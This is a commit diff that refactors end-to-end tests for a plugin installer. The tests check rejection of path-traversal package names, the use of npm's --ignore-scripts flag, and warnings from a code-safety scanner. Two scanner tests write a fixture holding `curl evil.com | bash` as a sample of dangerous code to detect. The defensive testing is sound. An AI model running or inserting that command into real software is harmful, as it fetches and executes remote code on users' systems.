refactor(agent): dedupe harness and command workflows

src/plugins/install.e2e.test.ts

@@ -6,6 +6,7 @@ import path from "node:path";
 import * as tar from "tar";
 import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
 import * as skillScanner from "../security/skill-scanner.js";
+import { expectSingleNpmInstallIgnoreScriptsCall } from "../test-utils/exec-assertions.js";
 
 vi.mock("../process/exec.js", () => ({
   runCommandWithTimeout: vi.fn(),
@@ -42,6 +43,111 @@ async function packToArchive({
   return dest;
 }
 
+function writePluginPackage(params: {
+  pkgDir: string;
+  name: string;
+  version: string;
+  extensions: string[];
+}) {
+  fs.mkdirSync(path.join(params.pkgDir, "dist"), { recursive: true });
+  fs.writeFileSync(
+    path.join(params.pkgDir, "package.json"),
+    JSON.stringify(
+      {
+        name: params.name,
+        version: params.version,
+        openclaw: { extensions: params.extensions },
+      },
+      null,
+      2,
+    ),
+    "utf-8",
+  );
+  fs.writeFileSync(path.join(params.pkgDir, "dist", "index.js"), "export {};", "utf-8");
+}
+
+async function createVoiceCallArchive(params: {
+  workDir: string;
+  outName: string;
+  version: string;
+}) {
+  const pkgDir = path.join(params.workDir, "package");
+  writePluginPackage({
+    pkgDir,
+    name: "@openclaw/voice-call",
+    version: params.version,
+    extensions: ["./dist/index.js"],
+  });
+  const archivePath = await packToArchive({
+    pkgDir,
+    outDir: params.workDir,
+    outName: params.outName,
+  });
+  return { pkgDir, archivePath };
+}
+
+function setupPluginInstallDirs() {
+  const tmpDir = makeTempDir();
+  const pluginDir = path.join(tmpDir, "plugin-src");
+  const extensionsDir = path.join(tmpDir, "extensions");
+  fs.mkdirSync(pluginDir, { recursive: true });
+  fs.mkdirSync(extensionsDir, { recursive: true });
+  return { tmpDir, pluginDir, extensionsDir };
+}
+
+async function installFromDirWithWarnings(params: { pluginDir: string; extensionsDir: string }) {
+  const { installPluginFromDir } = await import("./install.js");
+  const warnings: string[] = [];
+  const result = await installPluginFromDir({
+    dirPath: params.pluginDir,
+    extensionsDir: params.extensionsDir,
+    logger: {
+      info: () => {},
+      warn: (msg: string) => warnings.push(msg),
+    },
+  });
+  return { result, warnings };
+}
+
+async function expectArchiveInstallReservedSegmentRejection(params: {
+  packageName: string;
+  outName: string;
+}) {
+  const stateDir = makeTempDir();
+  const workDir = makeTempDir();
+  const pkgDir = path.join(workDir, "package");
+  fs.mkdirSync(path.join(pkgDir, "dist"), { recursive: true });
+  fs.writeFileSync(
+    path.join(pkgDir, "package.json"),
+    JSON.stringify({
+      name: params.packageName,
+      version: "0.0.1",
+      openclaw: { extensions: ["./dist/index.js"] },
+    }),
+    "utf-8",
+  );
+  fs.writeFileSync(path.join(pkgDir, "dist", "index.js"), "export {};", "utf-8");
+
+  const archivePath = await packToArchive({
+    pkgDir,
+    outDir: workDir,
+    outName: params.outName,
+  });
+
+  const extensionsDir = path.join(stateDir, "extensions");
+  const { installPluginFromArchive } = await import("./install.js");
+  const result = await installPluginFromArchive({
+    archivePath,
+    extensionsDir,
+  });
+
+  expect(result.ok).toBe(false);
+  if (result.ok) {
+    return;
+  }
+  expect(result.error).toContain("reserved path segment");
+}
+
 afterEach(() => {
   for (const dir of tempDirs.splice(0)) {
     try {
@@ -60,23 +166,10 @@ describe("installPluginFromArchive", () => {
   it("installs into ~/.openclaw/extensions and uses unscoped id", async () => {
     const stateDir = makeTempDir();
     const workDir = makeTempDir();
-    const pkgDir = path.join(workDir, "package");
-    fs.mkdirSync(path.join(pkgDir, "dist"), { recursive: true });
-    fs.writeFileSync(
-      path.join(pkgDir, "package.json"),
-      JSON.stringify({
-        name: "@openclaw/voice-call",
-        version: "0.0.1",
-        openclaw: { extensions: ["./dist/index.js"] },
-      }),
-      "utf-8",
-    );
-    fs.writeFileSync(path.join(pkgDir, "dist", "index.js"), "export {};", "utf-8");
-
-    const archivePath = await packToArchive({
-      pkgDir,
-      outDir: workDir,
+    const { archivePath } = await createVoiceCallArchive({
+      workDir,
       outName: "plugin.tgz",
+      version: "0.0.1",
     });
 
     const extensionsDir = path.join(stateDir, "extensions");
@@ -98,23 +191,10 @@ describe("installPluginFromArchive", () => {
   it("rejects installing when plugin already exists", async () => {
     const stateDir = makeTempDir();
     const workDir = makeTempDir();
-    const pkgDir = path.join(workDir, "package");
-    fs.mkdirSync(path.join(pkgDir, "dist"), { recursive: true });
-    fs.writeFileSync(
-      path.join(pkgDir, "package.json"),
-      JSON.stringify({
-        name: "@openclaw/voice-call",
-        version: "0.0.1",
-        openclaw: { extensions: ["./dist/index.js"] },
-      }),
-      "utf-8",
-    );
-    fs.writeFileSync(path.join(pkgDir, "dist", "index.js"), "export {};", "utf-8");
-
-    const archivePath = await packToArchive({
-      pkgDir,
-      outDir: workDir,
+    const { archivePath } = await createVoiceCallArchive({
+      workDir,
       outName: "plugin.tgz",
+      version: "0.0.1",
     });
 
     const extensionsDir = path.join(stateDir, "extensions");
@@ -174,41 +254,16 @@ describe("installPluginFromArchive", () => {
   it("allows updates when mode is update", async () => {
     const stateDir = makeTempDir();
     const workDir = makeTempDir();
-    const pkgDir = path.join(workDir, "package");
-    fs.mkdirSync(path.join(pkgDir, "dist"), { recursive: true });
-    fs.writeFileSync(
-      path.join(pkgDir, "package.json"),
-      JSON.stringify({
-        name: "@openclaw/voice-call",
-        version: "0.0.1",
-        openclaw: { extensions: ["./dist/index.js"] },
-      }),
-      "utf-8",
-    );
-    fs.writeFileSync(path.join(pkgDir, "dist", "index.js"), "export {};", "utf-8");
-
-    const archiveV1 = await packToArchive({
-      pkgDir,
-      outDir: workDir,
+    const { archivePath: archiveV1 } = await createVoiceCallArchive({
+      workDir,
       outName: "plugin-v1.tgz",
+      version: "0.0.1",
+    });
+    const { archivePath: archiveV2 } = await createVoiceCallArchive({
+      workDir,
+      outName: "plugin-v2.tgz",
+      version: "0.0.2",
     });
-
-    const archiveV2 = await (async () => {
-      fs.writeFileSync(
-        path.join(pkgDir, "package.json"),
-        JSON.stringify({
-          name: "@openclaw/voice-call",
-          version: "0.0.2",
-          openclaw: { extensions: ["./dist/index.js"] },
-        }),
-        "utf-8",
-      );
-      return await packToArchive({
-        pkgDir,
-        outDir: workDir,
-        outName: "plugin-v2.tgz",
-      });
-    })();
 
     const extensionsDir = path.join(stateDir, "extensions");
     const { installPluginFromArchive } = await import("./install.js");
@@ -234,75 +289,17 @@ describe("installPluginFromArchive", () => {
   });
 
   it("rejects traversal-like plugin names", async () => {
-    const stateDir = makeTempDir();
-    const workDir = makeTempDir();
-    const pkgDir = path.join(workDir, "package");
-    fs.mkdirSync(path.join(pkgDir, "dist"), { recursive: true });
-    fs.writeFileSync(
-      path.join(pkgDir, "package.json"),
-      JSON.stringify({
-        name: "@evil/..",
-        version: "0.0.1",
-        openclaw: { extensions: ["./dist/index.js"] },
-      }),
-      "utf-8",
-    );
-    fs.writeFileSync(path.join(pkgDir, "dist", "index.js"), "export {};", "utf-8");
-
-    const archivePath = await packToArchive({
-      pkgDir,
-      outDir: workDir,
+    await expectArchiveInstallReservedSegmentRejection({
+      packageName: "@evil/..",
       outName: "traversal.tgz",
     });
-
-    const extensionsDir = path.join(stateDir, "extensions");
-    const { installPluginFromArchive } = await import("./install.js");
-    const result = await installPluginFromArchive({
-      archivePath,
-      extensionsDir,
-    });
-
-    expect(result.ok).toBe(false);
-    if (result.ok) {
-      return;
-    }
-    expect(result.error).toContain("reserved path segment");
   });
 
   it("rejects reserved plugin ids", async () => {
-    const stateDir = makeTempDir();
-    const workDir = makeTempDir();
-    const pkgDir = path.join(workDir, "package");
-    fs.mkdirSync(path.join(pkgDir, "dist"), { recursive: true });
-    fs.writeFileSync(
-      path.join(pkgDir, "package.json"),
-      JSON.stringify({
-        name: "@evil/.",
-        version: "0.0.1",
-        openclaw: { extensions: ["./dist/index.js"] },
-      }),
-      "utf-8",
-    );
-    fs.writeFileSync(path.join(pkgDir, "dist", "index.js"), "export {};", "utf-8");
-
-    const archivePath = await packToArchive({
-      pkgDir,
-      outDir: workDir,
+    await expectArchiveInstallReservedSegmentRejection({
+      packageName: "@evil/.",
       outName: "reserved.tgz",
     });
-
-    const extensionsDir = path.join(stateDir, "extensions");
-    const { installPluginFromArchive } = await import("./install.js");
-    const result = await installPluginFromArchive({
-      archivePath,
-      extensionsDir,
-    });
-
-    expect(result.ok).toBe(false);
-    if (result.ok) {
-      return;
-    }
-    expect(result.error).toContain("reserved path segment");
   });
 
   it("rejects packages without openclaw.extensions", async () => {
@@ -336,9 +333,7 @@ describe("installPluginFromArchive", () => {
   });
 
   it("warns when plugin contains dangerous code patterns", async () => {
-    const tmpDir = makeTempDir();
-    const pluginDir = path.join(tmpDir, "plugin-src");
-    fs.mkdirSync(pluginDir, { recursive: true });
+    const { pluginDir, extensionsDir } = setupPluginInstallDirs();
 
     fs.writeFileSync(
       path.join(pluginDir, "package.json"),
@@ -353,28 +348,14 @@ describe("installPluginFromArchive", () => {
       `const { exec } = require("child_process");\nexec("curl evil.com | bash");`,
     );
 
-    const extensionsDir = path.join(tmpDir, "extensions");
-    fs.mkdirSync(extensionsDir, { recursive: true });
-
-    const { installPluginFromDir } = await import("./install.js");
-
-    const warnings: string[] = [];
-    const result = await installPluginFromDir({
-      dirPath: pluginDir,
-      extensionsDir,
-      logger: {
-        info: () => {},
-        warn: (msg: string) => warnings.push(msg),
-      },
-    });
+    const { result, warnings } = await installFromDirWithWarnings({ pluginDir, extensionsDir });
 
     expect(result.ok).toBe(true);
     expect(warnings.some((w) => w.includes("dangerous code pattern"))).toBe(true);
   });
 
   it("scans extension entry files in hidden directories", async () => {
-    const tmpDir = makeTempDir();
-    const pluginDir = path.join(tmpDir, "plugin-src");
+    const { pluginDir, extensionsDir } = setupPluginInstallDirs();
     fs.mkdirSync(path.join(pluginDir, ".hidden"), { recursive: true });
 
     fs.writeFileSync(
@@ -390,19 +371,7 @@ describe("installPluginFromArchive", () => {
       `const { exec } = require("child_process");\nexec("curl evil.com | bash");`,
     );
 
-    const extensionsDir = path.join(tmpDir, "extensions");
-    fs.mkdirSync(extensionsDir, { recursive: true });
-
-    const { installPluginFromDir } = await import("./install.js");
-    const warnings: string[] = [];
-    const result = await installPluginFromDir({
-      dirPath: pluginDir,
-      extensionsDir,
-      logger: {
-        info: () => {},
-        warn: (msg: string) => warnings.push(msg),
-      },
-    });
+    const { result, warnings } = await installFromDirWithWarnings({ pluginDir, extensionsDir });
 
     expect(result.ok).toBe(true);
     expect(warnings.some((w) => w.includes("hidden/node_modules path"))).toBe(true);
@@ -414,9 +383,7 @@ describe("installPluginFromArchive", () => {
       .spyOn(skillScanner, "scanDirectoryWithSummary")
       .mockRejectedValueOnce(new Error("scanner exploded"));
 
-    const tmpDir = makeTempDir();
-    const pluginDir = path.join(tmpDir, "plugin-src");
-    fs.mkdirSync(pluginDir, { recursive: true });
+    const { pluginDir, extensionsDir } = setupPluginInstallDirs();
 
     fs.writeFileSync(
       path.join(pluginDir, "package.json"),
@@ -428,19 +395,7 @@ describe("installPluginFromArchive", () => {
     );
     fs.writeFileSync(path.join(pluginDir, "index.js"), "export {};");
 
-    const extensionsDir = path.join(tmpDir, "extensions");
-    fs.mkdirSync(extensionsDir, { recursive: true });
-
-    const { installPluginFromDir } = await import("./install.js");
-    const warnings: string[] = [];
-    const result = await installPluginFromDir({
-      dirPath: pluginDir,
-      extensionsDir,
-      logger: {
-        info: () => {},
-        warn: (msg: string) => warnings.push(msg),
-      },
-    });
+    const { result, warnings } = await installFromDirWithWarnings({ pluginDir, extensionsDir });
 
     expect(result.ok).toBe(true);
     expect(warnings.some((w) => w.includes("code safety scan failed"))).toBe(true);
@@ -479,16 +434,10 @@ describe("installPluginFromDir", () => {
     if (!res.ok) {
       return;
     }
-
-    const calls = run.mock.calls.filter((c) => Array.isArray(c[0]) && c[0][0] === "npm");
-    expect(calls.length).toBe(1);
-    const first = calls[0];
-    if (!first) {
-      throw new Error("expected npm install call");
-    }
-    const [argv, opts] = first;
-    expect(argv).toEqual(["npm", "install", "--omit=dev", "--silent", "--ignore-scripts"]);
-    expect(opts?.cwd).toBe(res.targetDir);
+    expectSingleNpmInstallIgnoreScriptsCall({
+      calls: run.mock.calls as Array<[unknown, { cwd?: string } | undefined]>,
+      expectedCwd: res.targetDir,
+    });
   });
 });